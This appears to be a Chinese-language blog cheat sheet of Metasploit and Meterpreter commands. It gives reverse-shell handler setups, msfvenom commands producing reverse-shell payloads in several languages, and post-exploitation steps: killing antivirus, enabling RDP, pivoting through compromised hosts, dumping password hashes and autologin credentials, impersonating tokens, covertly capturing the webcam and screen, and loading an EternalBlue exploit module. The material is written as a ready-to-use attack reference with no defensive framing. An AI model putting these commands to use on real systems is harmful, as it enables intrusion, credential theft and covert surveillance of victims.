msf下的命令

set session x:设置要攻击的session

#监听端口反弹PHP shell
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST
set LPORT
run
#end #windows/shell_reverse_tcp模块可创建具有meterpreter功能的各版本shellcode,比如Asp、Aspx、msi、vbs、war
#使用windows/shell_reverse_tcp反弹shell
show payloads
use windows/shell_reverse_tcp
set LHOST
set LPORT
save
generate -h #查看具体命令
generate -t asp #生成asp的shellcode
#监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST
set LPORT
run
#将shell上传后访问
#end

meterpreter下的命令

ps:获取目标机正在运行的进程
getpid:查看meterpreter shell的进程号
migrate :把meterpreter shell移动到PID为448的进程中
kill :杀掉PID为984的进程
run post/windows/manage/migrate:自动寻找合适的进程迁移
sysinfo:查看目标系统信息
run post/windows/gather/checkvm:检查目标是否运行在虚拟机上
idletime:查看目标机最近的运行时间
route:目标机完整的网络设置
getuid:查看当前用户名
background:将当前会话放到后台(适合在多个meterpreter会话的场景下使用)
run post/windows/manage/killav:关闭目标机系统杀毒软件
run post/windows/manage/enable_rdp:开启目标机3389端口
run post/windows/manage/autoroute:查看目标机的本地子网情况
background->route add xxx xxx(添加路由)->route print(查看路由)
↑[路由添加到已攻陷的主机的路由表中,就可以借助被攻陷的主机对其他网络进行攻击]
run post/windows/gather/enum_logged_on_users:列举当前有多少用户登录了目标机
run post/windows/gather/enum_applications:列举安装在目标机上的应用程序
run windows/gather/credentials/windows_autologin:抓取自动登录的用户名和密码
load espia(加载espia插件)->screengrab(抓取目标机的屏幕截图)
screengrab(也可直接使用screengrab命令抓取目标机的屏幕截图)
webcam_list:查看目标机是否有摄像头
webcam_snap:打开目标机摄像头拍一张照片
webcam_stream:抓取目标机视频
shell:进入目标机shell
exit:停止meterpreter会话
pwd/getwd:查看当前处于目标机哪个目录
getlwd:查看当前处于本地的那个目录
ls:列出当前目录的所有文件
cd:切换目录
search -f *.txt -d c:\:搜索C盘中所有txt文件(-f指定搜索文件模式,-d指定目录)
download c:\test.txt /root:下载目标机c盘的test.txt文件到本机root下
upload /root/test.txt c:\:上传本地root下test.txt文件到目标机c盘下
getsystem:提权 #假冒令牌↓
#有两种类型令牌:
#Delegation Tokens(授权令牌,支持交互式登录,例如远程桌面登录)
#Impersonation Tokens(模拟令牌,非交互式的会话)
在incognito下假冒
use incognito->list_tokens -u:列出可用的token
impersonate_token xxxx\\system:假冒xxxx用户进行攻击(要用两个\)
#end hashdump:导出目标机的hash
run windows/gather/smart_hashdump:导出域所有用户的hash

移植并利用MS17-010(windows 2003)漏洞利用代码

#MSF中MS17-010不支持windows
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
将Eternalblue-Doublepulsar-Metasploit文件夹下的eternalblue-doublepulsar.rb复制到/usr/share/metasploit-framework/modules/exploits/windows/smb下
msfconsole->reload_all #在MSF下重新加载全部文件
search eternalblue-doublepulsar #现在就可以搜到该脚本了

利用msfvenom生成shell的命令

Linux:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp Python:
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh Perl:
msfvenom -p cmd/unix/reverse
_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

最新文章

  1. Android应用开发中半透明效果实现方案
  2. Swagger-API测试工具实战
  3. dpi 、 dip 、分辨率、屏幕尺寸、px、density 关系以及换算
  4. IOCP之客户端及消息传递
  5. (引用)web安全测试
  6. MSBI--enlarge the DW database table volume
  7. [转]Responsive Tables Demo
  8. Package inputenc Error: Unicode char \u8: not set up for use with LaTeX.
  9. lintcode 中等题:minimum window substring 最小子串覆盖
  10. VisJS 随机图
  11. 动态jsp页面转PDF输出到页面
  12. 【物联网云端对接-1】 通过HTTP协议与微软Azure IoT hub进行云端通信
  13. 十个推荐使用的 Laravel 的辅助函数
  14. js date setInterval 时间 时钟 getFullYear ,JavaScript
  15. MySQL中的主键,外键有什么作用详解
  16. SQL Server管理员必备技能之性能优化
  17. 20165328 学习基础和C语言基础调查
  18. gitlab-ci + k8s 之docker (三)
  19. 【转】NHibernate对象以及状态说明
  20. B-tree B+tree B*Tree

热门文章

  1. python环境搭建及配置
  2. odoo12数据库自动化备份
  3. nodejs--抓取页面的数据--图
  4. js获得url传过来的参数
  5. Git日常操作指南
  6. 网络流(dinic算法)
  7. Java 匿名对象、内部类
  8. 五天一体_企业权限管理(SSM整合)
  9. 使用 eval(input()) 的便利
  10. PHP ftp_quit() 函数